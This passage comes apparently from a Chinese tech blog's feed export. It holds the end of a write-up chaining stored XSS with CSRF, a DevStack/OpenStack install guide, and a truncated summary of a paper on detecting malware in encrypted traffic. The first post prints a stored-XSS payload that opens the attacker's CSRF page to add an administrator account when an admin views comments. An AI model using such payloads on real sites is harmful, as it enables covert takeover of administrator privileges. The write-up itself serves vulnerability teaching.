src="http://picture.whiterabbitxyj.com/blogPicture/xsrf/csrf-3.png" alt="xsrf-9"></p><p><img src="http://picture.whiterabbitxyj.com/blogPicture/xsrf/csrf-4.png" alt="xsrf-10"></p><h2 id="XSS配合CSRF打出组合拳"><a href="#XSS配合CSRF打出组合拳" class="headerlink" title="XSS配合CSRF打出组合拳"></a>XSS配合CSRF打出组合拳</h2><p>我们思考一个问题，存储型xss可以打到管理员的cookie，但是如果cookie保存时间很短，我们用的时候已经失效了，那也就没什么用了。再考虑一下csrf，实现csrf攻击有一个大前提，就是让管理员去访问你的服务器。<br>一般来说，我们需要诱导管理员去访问你服务器上构造的csrf代码，比如留言诱导，客服诱导等等。但如果管理员就是不点击你的链接，不去访问你的服csrf代码，那你真是一点办法的没有。这也是为什么人家漏洞机构不收csrf漏洞的主要原因。<br>我们思考为什么存储型xss漏洞的成功率比csrf高，因为xss代码是存储在数据库中，每次都会在后台自动调取，所以管理员一查看后台就中招了。查看自己网站的留言和访问外部服务器，很明显管理员更容易选择相信前者，所以相对而言存储型xss攻击的成功率更高。</p><p>接下来，我们将挖到的xss漏洞和csrf配合使用，吸取他们的优点，打出组合拳。首先，我们在留言处构造xss代码：</p><pre><code>&lt;video src=&quot;x&quot; onerror=javascript:window.open(&quot;http://localhost:8000/csrf.html&quot;)&gt;&lt;/video&gt;</code></pre><p>这段js代码执行后，会直接在浏览器中打开一个新的窗口，且去访问我们制定的外部服务器上的csrf代码。</p><p><img src="http://picture.whiterabbitxyj.com/blogPicture/xsrf/xsrf-1.png" alt="xsrf-11"><br><img src="http://picture.whiterabbitxyj.com/blogPicture/xsrf/xsrf-2.png" alt="xsrf-12"></p><p>当管理员查看留言时，直接触发js代码，弹出一个新的窗口：</p><p><img src="http://picture.whiterabbitxyj.com/blogPicture/xsrf/xsrf-3.png" alt="xsrf-13"><br><img src="http://picture.whiterabbitxyj.com/blogPicture/xsrf/xsrf-4.png" alt="xsrf-14"></p><p>管理员可能会觉得莫名其妙，并关闭这个窗口，然而他并不知道我们已经借用他的权限执行了csrf代码，在他的后台增加了一个管理员账户：</p><p><img src="http://picture.whiterabbitxyj.com/blogPicture/xsrf/xsrf-5.png" alt="xsrf-15"></p><p>当然，更好做的做法是构造js代码让这个新打开的窗口完成工作后自动关闭，这样管理员起疑心的可能性还会降低。</p><p>这样一来，我们成功利用xss+csrf在网站后台增加了一个管理员，弥补了xss攻击中cookie失效的问题，也弥补了csrf利用难度大的问题（难度相当于xss）。</p><h1 id="总结"><a href="#总结" class="headerlink" title="总结"></a>总结</h1><p>这两个漏洞相对还是比较简单的，所以我拿出来作为讲解xss和csrf组合利用的案例，希望各位小白能从中学到知识。</p>]]></content>
    
    <summary type="html">
    
      &lt;p&gt;这篇博文来自之前挖掘一套CMS漏洞时，同时挖出了xss和csrf漏洞。不过我提交漏洞后，xss漏洞被接受了，而csrf漏洞被退回了，理由是：利用难度太大，不予收录。可以想象当时我的心情是十分不爽的，所以我绞尽脑汁，将xss和csrf配合使用，向某机构证明是可以利用的，而且很方便。最后漏洞被收录吗？嘿嘿，你们自己猜吧，不过这次经历说明了当xss配合csrf打出组合拳时，会有意想不到的效果。&lt;/p&gt;
    
    </summary>
    
    
      <category term="渗透" scheme="http://yoursite.com/tags/%E6%B8%97%E9%80%8F/"/>
    
      <category term="xss" scheme="http://yoursite.com/tags/xss/"/>
    
      <category term="csrf" scheme="http://yoursite.com/tags/csrf/"/>
    
  </entry>
  
  <entry>
    <title>Openstack部署all-in-one初体验</title>
    <link href="http://yoursite.com/2018/10/25/dev-openstack/"/>
    <id>http://yoursite.com/2018/10/25/dev-openstack/</id>
    <published>2018-10-25T03:39:32.000Z</published>
    <updated>2018-12-13T12:40:35.580Z</updated>
    
    <content type="html"><![CDATA[<p>最近在学习openstack，因为人懒不想跟着官方文档一步步敲命令行部署，我最终是使用devstack来部署openstack的，由于脸黑，我用了2天时间才成功在虚拟机中部署成功。所以在这里分享一下怎么使用devstack来完成<strong>all-in-one</strong>的openstack部署。</p><a id="more"></a><hr><p><img src="http://picture.whiterabbitxyj.com/blogPicture/openstack/openstack1.png" alt="openstack"></p><h1 id="准备"><a href="#准备" class="headerlink" title="准备"></a>准备</h1><h2 id="虚拟机"><a href="#虚拟机" class="headerlink" title="虚拟机"></a>虚拟机</h2><p>因为采用的<strong>all-in-one</strong>的部署方式，所以需要准备一台虚拟机作为openstack部署的主体，将所有的openstack服务都安装在一台虚拟机中。<br>我使用的虚拟机软件是VMware，操作系统版本为Ubuntu 16.04。这里需要提一下，由于版本更新，devstack目前只支持Ubuntu 16，且openstack的pike、queens中很多默认库的版本与Ubuntu 14.04不匹配，在安装时会产生极大的麻烦（虽然16.04也很麻烦）。所以建议使用Ubuntu 16.04作为操作系统来安装虚拟机。</p><p>这里提供一下Ubuntu 16.04的ISO下载链接：<a href="http://blog.whiterabbitxyj.com/download/ubuntu-16.04.5-desktop-amd64.iso.torrent" target="_blank" rel="external">link</a>。</p><p>至于虚拟机的配置，这里建议8G内存+50G磁，实在不行也要保证4G以上的内存。</p><h2 id="换sources-list源"><a href="#换sources-list源" class="headerlink" title="换sources.list源"></a>换sources.list源</h2><p>先安装一下vim：</p><pre><code>sudo apt install vim</code></pre><p>编辑sources.list文件：</p><pre><code>sudo vim /etc/apt/sources.list</code></pre><p>这一步很重要，openstack部署失败最大一部分原因就是资源在国外，下载时因为网络不稳定而出现time out，直接退出部署。我在这里提供一下我选择的源：<a href="https://github.com/huihongxiao/devstack.files/blob/master/etc/apt/sources.list" target="_blank" rel="external">source.list配置</a>，也可以直接复制：</p><pre><code>deb http://mirrors.tuna.tsinghua.edu.cn/ubuntu/ xenial main restricteddeb http://mirrors.tuna.tsinghua.edu.cn/ubuntu/ xenial-updates main restricteddeb http://mirrors.tuna.tsinghua.edu.cn/ubuntu/ xenial universedeb http://mirrors.tuna.tsinghua.edu.cn/ubuntu/ xenial-updates universedeb http://mirrors.tuna.tsinghua.edu.cn/ubuntu/ xenial multiversedeb http://mirrors.tuna.tsinghua.edu.cn/ubuntu/ xenial-updates multiversedeb http://mirrors.tuna.tsinghua.edu.cn/ubuntu/ xenial-backports main restricted universe multiversedeb http://mirrors.tuna.tsinghua.edu.cn/ubuntu/ xenial-backports main restricted universe multiversedeb http://mirrors.tuna.tsinghua.edu.cn/ubuntu/ xenial-security main restricteddeb http://mirrors.tuna.tsinghua.edu.cn/ubuntu/ xenial-security universedeb http://mirrors.tuna.tsinghua.edu.cn/ubuntu/ xenial-security multiverse</code></pre><p>在修改完成后，更新一下源：</p><pre><code>sudo apt-get update</code></pre><h2 id="安装git"><a href="#安装git" class="headerlink" title="安装git"></a>安装git</h2><p>因为devstack的项目是在公开github上的，所以我们安装git：</p><pre><code>sudo apt-get install git</code></pre><h2 id="安装pip并修改源"><a href="#安装pip并修改源" class="headerlink" title="安装pip并修改源"></a>安装pip并修改源</h2><p>因为devstack部署openstack时有很多需要使用pip下载的python库，所以我们先下载python-pip：</p><pre><code>apt-get install python-pip</code></pre><p>我们选择把pip的源修改为国内的，这样安装的成功率会提升很多：</p><pre><code>mkdir ~/.pip &amp;&amp; vim ~/.pip/pip.conf</code></pre><p>提供一下我的配置：<a href="https://github.com/huihongxiao/devstack.files/blob/master/.pip/pip.conf" target="_blank" rel="external">pip源配置</a>，也可以直接复制：</p><pre><code>[global]trusted-host=mirrors.aliyun.comindex-url=http://mirrors.aliyun.com/pypi/simple</code></pre><p>这里还有最后一步，就是更新一下pip的版本，以免pip的版本过低而下载不了devstack需要的python库：</p><pre><code>pip install --upgrade pip</code></pre><hr><h1 id="下载devstack"><a href="#下载devstack" class="headerlink" title="下载devstack"></a>下载devstack</h1><p>这一步我们下载从github上下载一个稳定的版本，毕竟不是做开发要求，还是尽量避过最新版，选择一个稳定的devstack版本即可：</p><pre><code>git clone https://git.openstack.org/openstack-dev/devstackcd devstackgit checkout remotes/origin/stable/queensgit checkout -b queens</code></pre><p>或：</p><pre><code>git clone https://git.openstack.org/openstack-dev/devstack -b stable/queens</code></pre><hr><h1 id="创建stack用户并赋予权限"><a href="#创建stack用户并赋予权限" class="headerlink" title="创建stack用户并赋予权限"></a>创建stack用户并赋予权限</h1><p>这一步我们需要创建一个stack用户，这是因为devstack在部署openstack时需要系统权限，但又不能以root的身份去执行devstack的脚本，所以我们创建一个stack用户，并赋予它root权限</p><p>而在我们下载的devstack中就直接有创建stack用户的脚本，我们可以直接拿来：</p><pre><code>sudo devstack/tools/create-stack-user.sh</code></pre><p>然后是赋予stack用户权限：</p><pre><code>echo &quot;stack ALL=(ALL) NOPASSWD: ALL&quot; | sudo tee /etc/sudoers.d/stack</code></pre><p>这一步可能会出问题，所以最保险的方法还是进入/etc/sudoers, 在 <code>root ALL=(ALL:ALL) ALL</code> 后添加 <code>stack ALL=(ALL:ALL) ALL</code>, 然后保存。</p><p>最后切换到stack用户：</p><pre><code>sudo -isu stack</code></pre><hr><h1 id="修改devstack文件夹权限"><a href="#修改devstack文件夹权限" class="headerlink" title="修改devstack文件夹权限"></a>修改devstack文件夹权限</h1><p>这里我们需要修改devstack文件夹的权限，使其可以被stack用户操作：</p><pre><code>chown -R stack:stack /home/devstackchmod 777 /dev/pts/0</code></pre><hr><h1 id="修改devstack配置文件local-conf"><a href="#修改devstack配置文件local-conf" class="headerlink" title="修改devstack配置文件local.conf"></a>修改devstack配置文件local.conf</h1><p>这一步通过下面的方法生成local.conf，local.conf是devstack的安装参数：</p><pre><code>cp samples/local.conf ./sudo vim local.conf</code></pre><p>这个配置文件网络上有很多版本，我来来回回试了很多个都失败了，最后找了一个配置成功了。我提供一下我配置的local.conf:</p><pre><code>[[local|localrc]]HOST_IP=127.0.0.1# Minimal Contents# ----------------# While ``stack.sh`` is happy to run without ``localrc``, devlife is better when# there are a few minimal variables set:# If the ``*_PASSWORD`` variables are not set here you will be prompted to enter# values for them by ``stack.sh``and they will be added to ``local.conf``.ADMIN_PASSWORD=nomoresecretDATABASE_PASSWORD=stackdbRABBIT_PASSWORD=stackqueueSERVICE_PASSWORD=$ADMIN_PASSWORD# ``HOST_IP`` and ``HOST_IPV6`` should be set manually for best results if# the NIC configuration of the host is unusual, i.e. ``eth1`` has the default# route but ``eth0`` is the public interface.  They are auto-detected in# ``stack.sh`` but often is indeterminate on later runs due to the IP moving# from an Ethernet interface to a bridge on the host. Setting it here also# makes it available for ``openrc`` to include when setting ``OS_AUTH_URL``.# Neither is set by default.#HOST_IPV6=2001:db8::7# Logging# -------# By default ``stack.sh`` output only goes to the terminal where it runs.  It can# be configured to additionally log to a file by setting ``LOGFILE`` to the full# path of the destination log file.  A timestamp will be appended to the given name.LOGFILE=$DEST/logs/stack.sh.log# Old log files are automatically removed after 7 days to keep things neat.  Change# the number of days by setting ``LOGDAYS``.LOGDAYS=2# Nova logs will be colorized if ``SYSLOG`` is not set; turn this off by setting# ``LOG_COLOR`` false.#LOG_COLOR=False# Using milestone-proposed branches# ---------------------------------# Uncomment these to grab the milestone-proposed branches from the# repos:#CINDER_BRANCH=milestone-proposed#GLANCE_BRANCH=milestone-proposed#HORIZON_BRANCH=milestone-proposed#KEYSTONE_BRANCH=milestone-proposed#KEYSTONECLIENT_BRANCH=milestone-proposed#NOVA_BRANCH=milestone-proposed#NOVACLIENT_BRANCH=milestone-proposed#NEUTRON_BRANCH=milestone-proposed#SWIFT_BRANCH=milestone-proposed# Using git versions of clients# -----------------------------# By default clients are installed from pip.  See LIBS_FROM_GIT in# stackrc for details on getting clients from specific branches or# revisions.  e.g.# LIBS_FROM_GIT=&quot;python-ironicclient&quot;# IRONICCLIENT_BRANCH=refs/changes/44/2.../1# Swift# -----# Swift is now used as the back-end for the S3-like object store. Setting the# hash value is required and you will be prompted for it if Swift is enabled# so just set it to something already:SWIFT_HASH=66a3d6b56c1f479c8b4e70ab5c2000f5# For development purposes the default of 3 replicas is usually not required.# Set this to 1 to save some resources:SWIFT_REPLICAS=1# The data for Swift is stored by default in (``$DEST/data/swift``),# or (``$DATA_DIR/swift``) if ``DATA_DIR`` has been set, and can be# moved by setting ``SWIFT_DATA_DIR``. The directory will be created# if it does not exist.SWIFT_DATA_DIR=$DEST/dataAPI_WORKERS=1GIT_BASE=http://git.trystack.cnNOVNC_REPO=http://git.trystack.cn/kanaka/noVNC.gitSPICE_REPO=http://git.trystack.cn/git/spice/spice-html5.gitdisable_service tempest heat cinder</code></pre><h1 id="保存虚拟机快照"><a href="#保存虚拟机快照" class="headerlink" title="保存虚拟机快照"></a>保存虚拟机快照</h1><p>这一步十分十分十分十分关键！！完成了上面所有步骤，接下来我们就要开始直接安装了，我们可能会失败好几次，所以保存现在我们做好的环境十分重要。不然devstack部署openstack彻底失败后，你也不想彻底失败后从头再来配置一遍环境吧？</p><p><img src="http://picture.whiterabbitxyj.com/blogPicture/openstack/openstack2.png" alt="openstack2"></p><h1 id="开始安装"><a href="#开始安装" class="headerlink" title="开始安装"></a>开始安装</h1><p>完成了上面所有的步骤，那就开始安装吧，朋友们，万里长征开始了。（建议下载一部电影，因为部署过程很漫长，大概要40多分钟，而且中途任何一个过程都可能失败而退出安装）</p><p>执行：</p><pre><code>./stack.sh</code></pre><p>安装的开头要求你输入几次密码，然后就自己开始跑脚本。</p><h1 id="问题"><a href="#问题" class="headerlink" title="问题"></a>问题</h1><p>在部署的过程中，我遇到了好几次问题，来来回回大概部署7到8次才最后成功。如果你按照我上面的步骤进行，遇到的问题大概有下面几种。</p><h2 id="pip无法安装指定版本库"><a href="#pip无法安装指定版本库" class="headerlink" title="pip无法安装指定版本库"></a>pip无法安装指定版本库</h2><p>这个问题还挺坑的，脚本会提示你pip版本太低，无法下载指定版本的python库，并提示你先更新pip版本。当时我按提示更新pip版本到最新，重新部署后它又提示我pip版本太低…后来发现，是因为我在部署前没有更新pip，版本的缓存被devstack记录下来了，所以每次部署又会回退到上一个版本。</p><p>如果你按照我上面的步骤，提前更新了pip版本，应该不会遇到这个问题。如果遇到了，用以下方法解决：看看出错时的安装库和指定版本，在新一次部署前先把这个库下载安装了：</p><pre><code>pip install scipy == 0.15.1</code></pre><p>这样部署时检测到这个库的版本已经安装了，就会跳过检测，继续往下部署，就不会出问题了。</p><h2 id="time-out"><a href="#time-out" class="headerlink" title="time out"></a>time out</h2><p>这个估计是最常见的问题，因为部署在虚拟机中，很可能出现网络不稳定的情况，一段时间无法下载后就会报time out的错，然后退出安装。这个问题有可能是你本身网络的问题，也有可能是对方源的问题，这很常见，很多人今天安装失败了，然后第二天就安装成功了。所以，这个问题的解决方法：重复安装，然后看脸。</p><p>如果你按照我上面的步骤部署，遇到time out的几率会低很多，我部署时只在开始时遇到过一次time out，后面基本上没遇到。</p><h2 id="其他问题"><a href="#其他问题" class="headerlink" title="其他问题"></a>其他问题</h2><p>其实部署的过程中还遇到了很多奇奇怪怪的问题，一般在google上能直接搜到解决方案，学会利用搜索引擎也是一项十分重要的技能。如果到后来，你试了很多解决方案导致系统环境变得很奇怪时，尝试卸载部署环境并且重新开始部署：</p><pre><code>./unstack.sh./clean.sh</code></pre><p>然后再次安装：</p><pre><code>./stack.sh</code></pre><p>如果连卸载都处理不了，整个虚拟机环境都很奇怪时，直接还原快照（所以前面提醒了好多次做快照）。</p><h1 id="后记"><a href="#后记" class="headerlink" title="后记"></a>后记</h1><p>其实到最后，我的devstack还是显示部署失败了。</p><pre><code>stack.sh failed: full log in /opt/stack/logs/stack.sh.logError on exit</code></pre><p>然而我访问openstack网页端时却发现其实已经部署成功了。我在网上查了这个问题，很多人也遇到了，但是并没有解决的，因为其实已经部署完成了，可能有一些小问题，但是并不影响使用，所以就没有理他。而在后面测试openstack的时候，发现了无法分配浮动ip的问题，不知道这是不是部署失败的后遗症：</p><pre><code>Error: Failed to perform requested operation on instance &quot;vm1&quot;, the instance has an error status: Please try again later [Error: Host &apos;ccrfox105&apos; is not mapped to any cell].</code></pre><p>对于这点我还是找到了解决方案：</p><pre><code>cd devstacksource openrc voidking projectsource openrc admin adminnova-manage cell_v2 discover_hosts</code></pre><p>之后还遇到了网络不通的情况，查过资料后采用创建安全组的方式解决。所以感觉最后的部署失败虽然不影响openstack的使用，但还是留下了不少隐患，不过对我们体验openstack来说，还是没什么问题的。</p>]]></content>
    
    <summary type="html">
    
      &lt;p&gt;最近在学习openstack，因为人懒不想跟着官方文档一步步敲命令行部署，我最终是使用devstack来部署openstack的，由于脸黑，我用了2天时间才成功在虚拟机中部署成功。所以在这里分享一下怎么使用devstack来完成&lt;strong&gt;all-in-one&lt;/strong&gt;的openstack部署。&lt;/p&gt;
    
    </summary>
    
    
      <category term="私有云" scheme="http://yoursite.com/tags/%E7%A7%81%E6%9C%89%E4%BA%91/"/>
    
      <category term="openstack" scheme="http://yoursite.com/tags/openstack/"/>
    
  </entry>
  
  <entry>
    <title>基于神经网络的加密网络流量分析恶意软件检测</title>
    <link href="http://yoursite.com/2018/09/05/xueshu/"/>
    <id>http://yoursite.com/2018/09/05/xueshu/</id>
    <published>2018-09-05T03:39:32.000Z</published>
    <updated>2018-12-13T12:40:14.618Z</updated>
    
    <content type="html"><![CDATA[<p>论文：Malware Detection By Analysing Encrypted Network Traffic with Neural Networks<br>作者：Prasse, Paul; Machlica, Lukáš; Pevný, Tomáš; Havelka, Jiří; Scheffer, Tobias<br>地区：欧洲，德国<br>时间：2017<br>来源：EI</p><a id="more"></a><hr><h1 id="介绍"><a href="#介绍" class="headerlink" title="介绍"></a>介绍</h1><h2 id="恶意软件的目的"><a href="#恶意软件的目的" class="headerlink" title="恶意软件的目的"></a>恶意软件的目的</h2><ul><li>侵犯隐私</li><li>获取密码</li><li>加密文件来进行勒索</li><li>点击-诈骗</li><li>政治推广</li></ul><h2 id="网络流量分析的作用"><a href="#网络流量分析的作用" class="headerlink" title="网络流量分析的作用"></a>网络流量分析的作用</h2><ul><li>对杀毒软件进行补充</li><li>最小化管理开销</li><li>能够封装到网络服务与云服务</li><li>预测多态性恶意软件与新型恶意软件</li></ul><h2 id="为什么要对加密网络流量进行分析"><a href="#为什么要对加密网络流量进行分析" class="headerlink" title="为什么要对加密网络流量进行分析"></a>为什么要对加密网络流量进行分析</h2><p>HTTP的payload能够通过HTTPS协议加密来预防常规流量分析，知名网站如Google、Facebook等都是默认使用HTTPS。而根据统计，截止至2016年6月，已经大约45%的网站（持续增长中）使用HTTPS加密。</p><h2 id="HTTPS与网络监控工具"><a href="#HTTPS与网络监控工具" class="headerlink" title="HTTPS与网络监控工具"></a>HTTPS与网络监控工具</h2><p><strong>HTTPS</strong>:使用了SSL/TLS协议对HTTP进行了加密。<br><strong>网络监管工具（observer）</strong>：将客户端与主机端的交互全部记录，并存储成log文件。<br>在HTTPS中，由于数据包的头部和URL会被加密，恶意软件检测策略：</p><ul><li>基于被用户访问的主机域名</li><li>基于时间和数据量的上下行流的统计性规律</li></ul><h2 id="如何提取主机域名特征"><a href="#如何提取主机域名特征" class="headerlink" title="如何提取主机域名特征"></a>如何提取主机域名特征</h2><ul><li>低维的神经嵌入域名字符串</li><li>人工设计域名特征</li></ul><h2 id="选用哪些机器学习模型"><a href="#选用哪些机器学习模型" class="headerlink" title="选用哪些机器学习模型"></a>选用哪些机器学习模型</h2><ul><li>LSTMS（长短期记忆网络）</li><li>Random Forests（随机森林）</li></ul><h2 id="如何处理机器学习中数据标签问题"><a href="#如何处理机器学习中数据标签问题" class="headerlink" title="如何处理机器学习中数据标签问题"></a>如何处理机器学习中数据标签问题</h2><ol><li>在客户端配置VPN</li><li>观察可执行文件(exe)与网络数据流之间的关联</li><li>使用反病毒工具进行识别及打标签</li></ol><h2 id="小结"><a href="#小结" class="headerlink" title="小结"></a>小结</h2><p>该章节简要的介绍了文章的目的，研究背景，以及一些基本概念。章节的后半段作者似乎急迫地想要提出文章所采用的思想与技术，从而省略了一些基本性的表述，初读之下确实令人有些费解。不过好在接下来的章节作者对简介中提出的思想与技术进行了一一描述。</p><hr><h1 id="相关工作"><a href="#相关工作" class="headerlink" title="相关工作"></a>相关工作</h1><p>在简介中提到，网络监管工具能够记录网络交互，存储成log文件。log文件对本文来说是重要资源，因为能够从log中提取出许多重要信息，进而从信息中提出特征。文章说明了log文件的意义与采用LSTMS的意义。</p><h2 id="HTTP-logs"><a href="#HTTP-logs" class="headerlink" title="HTTP logs"></a>HTTP logs</h2><ul><li>识别Command-and-control类型服务</li><li>恶意软件的无监督检测</li><li>使用域名黑名单作为标签的可监督检测</li><li>包含完整的URL，可以提取特征</li><li>拥有比HTTPS更多的信息</li></ul><h2 id="HTTPS-logs"><a href="#HTTPS-logs" class="headerlink" title="HTTPS logs"></a>HTTPS logs</h2><ul><li>识别应用层协议</li><li>识别web服务器提供的应用</li><li>识别与恶意软件相关的服务</li></ul><h2 id="神经网络（LSMTS）"><a href="#神经网络（LSMTS）" class="headerlink" title="神经网络（LSMTS）"></a>神经网络（LSMTS）</h2><ul><li>需要识别客户机是否感染（涉及到多实例学习问题）</li><li>能够观察exe可执行文件与数据流之间的联系</li><li>与Prasse提出的随机森林进行对比</li><li>能够处理连续输入与解释长期依赖性</li><li>在安全领域中曾被入侵检测使用过</li></ul><h2 id="小结-1"><a href="#小结-1" class="headerlink" title="小结"></a>小结</h2><p>该节作者介绍了为何要对HTTP和HTTPS的logs进行分析，可以看出log文件对于本文来说是一项重要的信息资源，对HTTP与HTTPS的logs分析都有不同的意义。为了解释对log文件的分析确实解决了一些实际问题，作者还引用了不少参考文献来进行印证。本章作者还说明了为何要使用神经网络（LSMTS）算法，列举了原因与优势，并提出要与随机森林算法做比较。</p><hr><h1 id="操作环境"><a href="#操作环境" class="headerlink" title="操作环境"></a>操作环境</h1><p>该章节主要介绍了应用与数据收集的操作环境。在章节2种提到log文件是一项重要信息资源，本章就讲解了logs相关的生成环境等等，而本章节也是对数据收集进行了详细描述。</p><h2 id="CWS服务"><a href="#CWS服务" class="headerlink" title="CWS服务"></a>CWS服务</h2><p>CWS（Cloud Web Security）是一种保证组织内电脑安全的服务软件，其在组织私有网络与因特网之间提供了接口，其特点大致如下：</p><ul><li>用户电脑要配置VPN来连接CWS服务</li><li>CWS服务可以运行组织的安全策略，如根据主机域名和安全策略来阻挡HTTP与HTTPS请求</li><li>当检测带客户机上运行恶意软件时发出警告</li><li>误报比例低</li></ul><p>文章在这里详细地介绍了一下CWS服务，因为在上文中提过<strong>网络监控工具</strong>，在研究中CWS就充当了网络监控工具，其可以产生logs。其产生的logs过程大致如下：</p><p><img src="http://picture.whiterabbitxyj.com/blogPicture/xs/xs1.png" alt="xs1"></p><p>logs文件中的lines会作为输入服务于建模。</p><h2 id="数据采集"><a href="#数据采集" class="headerlink" title="数据采集"></a>数据采集</h2><p>前提：直接舍弃log中的HTTP数据，只保留HTTPS数据。<br>核心：CWS作为中间人进行数据收集<br>流程：</p><p><img src="http://picture.whiterabbitxyj.com/blogPicture/xs/xs2.png" alt="xs2"></p><p>上图的流程只能用以收集少量训练集，因为大多数加密流还是没法解密的，无法直接打标签。</p><h2 id="数据打标签"><a href="#数据打标签" class="headerlink" title="数据打标签"></a>数据打标签</h2><p><strong>Virustotal.com</strong>：提供web服务，使用60种反病毒策略对提交的exe文件或exe文件的hash key进行安全检测。<br>由于上面的数据采集中使用VPN客户端对exe的hash key进行了采集，因此文章直接提交exe的hash key进行检测，标签策略如下：</p><p><img src="http://picture.whiterabbitxyj.com/blogPicture/xs/xs3.png" alt="xs3"></p><h2 id="数据集类型"><a href="#数据集类型" class="headerlink" title="数据集类型"></a>数据集类型</h2><ul><li>current data: 从171个大小不同的网络中收集，收集于2016年6月中的5天，一共44,348,879条数据流，133,473个客户端</li><li>future data: 从169个大小不同的网络中收集，收集于2016年9月中8天，一共149,005,149条数据流，177,738个客户端</li><li>training data for domain-name features: 从21个大小不同的网络中收集，收集于2016年2月到4月内的14天。</li></ul><p>这里专门提了一下隐私保护，因为国外即使是科研也不能侵犯用户隐私，对隐私这一块看得很重，所以作者提了一下这些数据都是匿名采集的，没有任何用户的个人信息。</p><h2 id="数据质量分析"><a href="#数据质量分析" class="headerlink" title="数据质量分析"></a>数据质量分析</h2><p>数据集在采集完成时用Virustotal进行了一次打标签，而文章在2017年2月对数据集的标签进行了一次复查，以此来确认标签的稳定性。最终结果为下表（混淆矩阵）：</p><p><img src="http://picture.whiterabbitxyj.com/blogPicture/xs/xs4.png" alt="xs4"></p><p>（uncertain：不确定，unknown：无法检测，benign：良性，malicious：恶性）</p><p>最后是采用2017年2月的标签作为最后的实验标签。根据统计，current data中一共包含20130种hash，350,220条恶意数据流和43,150,605条良性流；future data中一共包含27,263种hash，955,037条恶意数据流和142,592,850条良性流。</p><p>而<strong>恶意软件家族</strong>的统计如下图：</p><p><img src="http://picture.whiterabbitxyj.com/blogPicture/xs/xs5.png" alt="xs5"></p><p>其中PUA（潜在垃圾应用）的特征如下：</p><ul><li>完全由创造者决定如何运行（如改变浏览器设置和起始页，安装工具条和浏览器扩展，显示广告或泄密码给攻击者）</li><li>免费/共享</li><li>难以卸载</li></ul><h2 id="小结-2"><a href="#小结-2" class="headerlink" title="小结"></a>小结</h2><p>本章作者主要对cws服务进行了说明，并介绍了其实如何在网络中收集实验数据的。cws是文章重要的原始数据收集来源，有一些数据在收集后可以直接使用cws打标签，但大多数不行。所以文章借助了Virustotal.com站点提供的反病毒接口来完成数据标签工作。文章一共设置了3个数据集，用于不同实验。在本章末尾，作者对数据标签的质量进行了一次复测，并将复测结果作为最终的实验标签，分析了标签的迁移性以及恶意软件家族种类统计。</p><hr><h1 id="客户端恶意软件检测问题"><a href="#客户端恶意软件检测问题" class="headerlink" title="客户端恶意软件检测问题"></a>客户端恶意软件检测问题</h1><p>该章节明确了研究目标，在于要对用户主机是否运行恶意软件进行识别，该章节从单独的流量识别转移向了用户主机层面。换个说法，单独的流量识别层面在于对一条新输入的流量进行识别，打上恶意或良性的标签，而该章节将其转向了主机层面，通过主机产生的流量集作为输入判断该主机是否运行了恶意软件。</p><h2 id="基础定义"><a href="#基础定义" class="headerlink" title="基础定义"></a>基础定义</h2><p>环境：设置私有网，用户安装VPN=入网，在该网络中做实验采集<br>实例：每台用户主机（通过IP和VPN名定义）每24小时视作一个独立实例（instance）<br>实例格式：{x1,x2,…,xt}, 其实就是用户主机1天内产生的数据流顺序集合，混合了主机中多种应用产生的流量<br>标签：</p><ul><li>至少一个恶意应用产生了任何流量 ——&gt; instance标记为<strong>positive</strong></li><li>至少一个良性应用产生了任何流量（无任何恶意应用）——&gt; instance标记为<strong>negative</strong></li></ul><p>识别：模型f接收{x1,x2,…,xt}格式的示例，通过计算 f(x1,x2,…,xt) 得出一个分数(score)，这个分数将会与阈值T比较：</p><ul><li>score &gt; T （识别为positive）</li><li>score &lt; T （识别为negative）</li></ul><p>阈值T会被调整来使误报降低。</p><p>性能评估：Precision-Recall（召回率曲线）+ ROC曲线</p><h2 id="性能评估"><a href="#性能评估" class="headerlink" title="性能评估"></a>性能评估</h2><h3 id="召回率曲线"><a href="#召回率曲线" class="headerlink" title="召回率曲线"></a>召回率曲线</h3><ol><li>Recall R（回调率）：在本文中，可以称为查全率。</li><li>Precision P（精确度）：在本文中，可以称为查准率。</li></ol><p>为了读者更好地理解，我修改了公式图：</p><p><img src="http://picture.whiterabbitxyj.com/blogPicture/xs/xs6.png" alt="xs6"></p><ol><li>R@x%P: 在指定精确度x%下的回调率值。由于根据阈值的调整，回调率与精确度也会随之改变，该表达代表了在精确度为x%的情况下，回调率的值。</li><li>召回率曲线展示了通过阈值T的调整，Recall与Precision的关系图。</li></ol><h3 id="ROC曲线"><a href="#ROC曲线" class="headerlink" title="ROC曲线"></a>ROC曲线</h3><ol><li>False-positive Rate R<sub>FP</sub>（良性回调率）：在本文中，可以称为误报率，即良性误报为恶意的比例。<br>公式：R<sub>FP</sub> = FP / FP + TN</li><li>ROC曲线展示了通过阈值T的调整，R<sub>FP</sub>与Recall的关系图。</li></ol><h3 id="Time-To-detection"><a href="#Time-To-detection" class="headerlink" title="Time To detection"></a>Time To detection</h3><p>用以评估恶意程序发送第一个恶意流到对其检测的时间间隔。</p><h2 id="精确度与误报率"><a href="#精确度与误报率" class="headerlink" title="精确度与误报率"></a>精确度与误报率</h2><p>文章在本章最后强调了一下两者的区别以及重要性。实际上，在实际应用中低误报率比高精确度更重要，因为当许多良性流被当做恶意流被阻拦时，很可能会导致正常服务无法运行，阻塞网络，因此如何在保证低误报率的情况下实现高精确度是一直以来研究的重点之一。</p><h2 id="小结-3"><a href="#小结-3" class="headerlink" title="小结"></a>小结</h2><p>这一章主要就是对评估方法进行了讲解，因为实验部分使用到ROC曲线和Precision-recall曲线，以及R@x%P和Time To detection，所以考虑一些读者的阅读能力（没错就是我这种），作者干脆用了一个章节把这些讲明白了。</p><hr><h1 id="特征"><a href="#特征" class="headerlink" title="特征"></a>特征</h1><p>特征一直以来都是机器学习文章的核心章节，该文章提出了多种不同类型的流量特征。</p><h2 id="流量特征-Flow-Features"><a href="#流量特征-Flow-Features" class="headerlink" title="流量特征(Flow Features)"></a>流量特征(Flow Features)</h2><p>对于每条流来说，可以直接获取的信息为：</p><ul><li>IP + VPN名</li><li>主机地址</li><li>端口号</li><li>时间戳</li><li>出/入数据量</li><li>持续时间</li></ul><p>因此文章选择从每条流中提取出的流特征为：</p><ul><li>持续时间的对数变化</li><li>发生和接收字节数的对数变化</li><li>持续时间</li><li>与上一条流之间的时间差</li></ul><h2 id="域名特征-Domain-Name-Features"><a href="#域名特征-Domain-Name-Features" class="headerlink" title="域名特征(Domain-Name Features)"></a>域名特征(Domain-Name 